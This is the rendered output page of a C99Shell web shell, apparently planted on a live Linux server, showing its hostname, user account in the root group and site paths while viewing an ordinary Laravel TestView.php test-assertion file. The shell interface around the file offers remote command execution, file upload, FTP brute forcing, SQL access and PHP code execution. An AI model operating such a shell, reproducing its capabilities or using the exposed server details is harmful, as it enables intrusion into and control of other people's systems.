!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Testing/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestView.php (5.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Testing;

use 
Closure;
use 
Illuminate\Database\Eloquent\Collection;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Traits\Macroable;
use 
Illuminate\Testing\Assert as PHPUnit;
use 
Illuminate\Testing\Constraints\SeeInOrder;
use 
Illuminate\View\View;

class 
TestView
{
    use 
Macroable;

    
/**
     * The original view.
     *
     * @var \Illuminate\View\View
     */
    
protected $view;

    
/**
     * The rendered view contents.
     *
     * @var string
     */
    
protected $rendered;

    
/**
     * Create a new test view instance.
     *
     * @param  \Illuminate\View\View  $view
     * @return void
     */
    
public function __construct(View $view)
    {
        
$this->view $view;
        
$this->rendered $view->render();
    }

    
/**
     * Assert that the response view has a given piece of bound data.
     *
     * @param  string|array  $key
     * @param  mixed  $value
     * @return $this
     */
    
public function assertViewHas($key$value null)
    {
        if (
is_array($key)) {
            return 
$this->assertViewHasAll($key);
        }

        if (
is_null($value)) {
            
PHPUnit::assertTrue(Arr::has($this->view->gatherData(), $key));
        } elseif (
$value instanceof Closure) {
            
PHPUnit::assertTrue($value(Arr::get($this->view->gatherData(), $key)));
        } elseif (
$value instanceof Model) {
            
PHPUnit::assertTrue($value->is(Arr::get($this->view->gatherData(), $key)));
        } elseif (
$value instanceof Collection) {
            
$actual Arr::get($this->view->gatherData(), $key);

            
PHPUnit::assertInstanceOf(Collection::class, $actual);
            
PHPUnit::assertSameSize($value$actual);

            
$value->each(fn ($item$index) => PHPUnit::assertTrue($actual->get($index)->is($item)));
        } else {
            
PHPUnit::assertEquals($valueArr::get($this->view->gatherData(), $key));
        }

        return 
$this;
    }

    
/**
     * Assert that the response view has a given list of bound data.
     *
     * @param  array  $bindings
     * @return $this
     */
    
public function assertViewHasAll(array $bindings)
    {
        foreach (
$bindings as $key => $value) {
            if (
is_int($key)) {
                
$this->assertViewHas($value);
            } else {
                
$this->assertViewHas($key$value);
            }
        }

        return 
$this;
    }

    
/**
     * Assert that the response view is missing a piece of bound data.
     *
     * @param  string  $key
     * @return $this
     */
    
public function assertViewMissing($key)
    {
        
PHPUnit::assertFalse(Arr::has($this->view->gatherData(), $key));

        return 
$this;
    }

    
/**
     * Assert that the view's rendered content is empty.
     *
     * @return $this
     */
    
public function assertViewEmpty()
    {
        
PHPUnit::assertEmpty($this->rendered);

        return 
$this;
    }

    
/**
     * Assert that the given string is contained within the view.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSee($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringContainsString((string) $value$this->rendered);

        return 
$this;
    }

    
/**
     * Assert that the given strings are contained in order within the view.
     *
     * @param  array  $values
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeInOrder(array $values$escape true)
    {
        
$values $escape array_map('e'$values) : $values;

        
PHPUnit::assertThat($values, new SeeInOrder($this->rendered));

        return 
$this;
    }

    
/**
     * Assert that the given string is contained within the view text.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeText($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringContainsString((string) $valuestrip_tags($this->rendered));

        return 
$this;
    }

    
/**
     * Assert that the given strings are contained in order within the view text.
     *
     * @param  array  $values
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeTextInOrder(array $values$escape true)
    {
        
$values $escape array_map('e'$values) : $values;

        
PHPUnit::assertThat($values, new SeeInOrder(strip_tags($this->rendered)));

        return 
$this;
    }

    
/**
     * Assert that the given string is not contained within the view.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertDontSee($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringNotContainsString((string) $value$this->rendered);

        return 
$this;
    }

    
/**
     * Assert that the given string is not contained within the view text.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertDontSeeText($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringNotContainsString((string) $valuestrip_tags($this->rendered));

        return 
$this;
    }

    
/**
     * Get the string contents of the rendered view.
     *
     * @return string
     */
    
public function __toString()
    {
        return 
$this->rendered;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--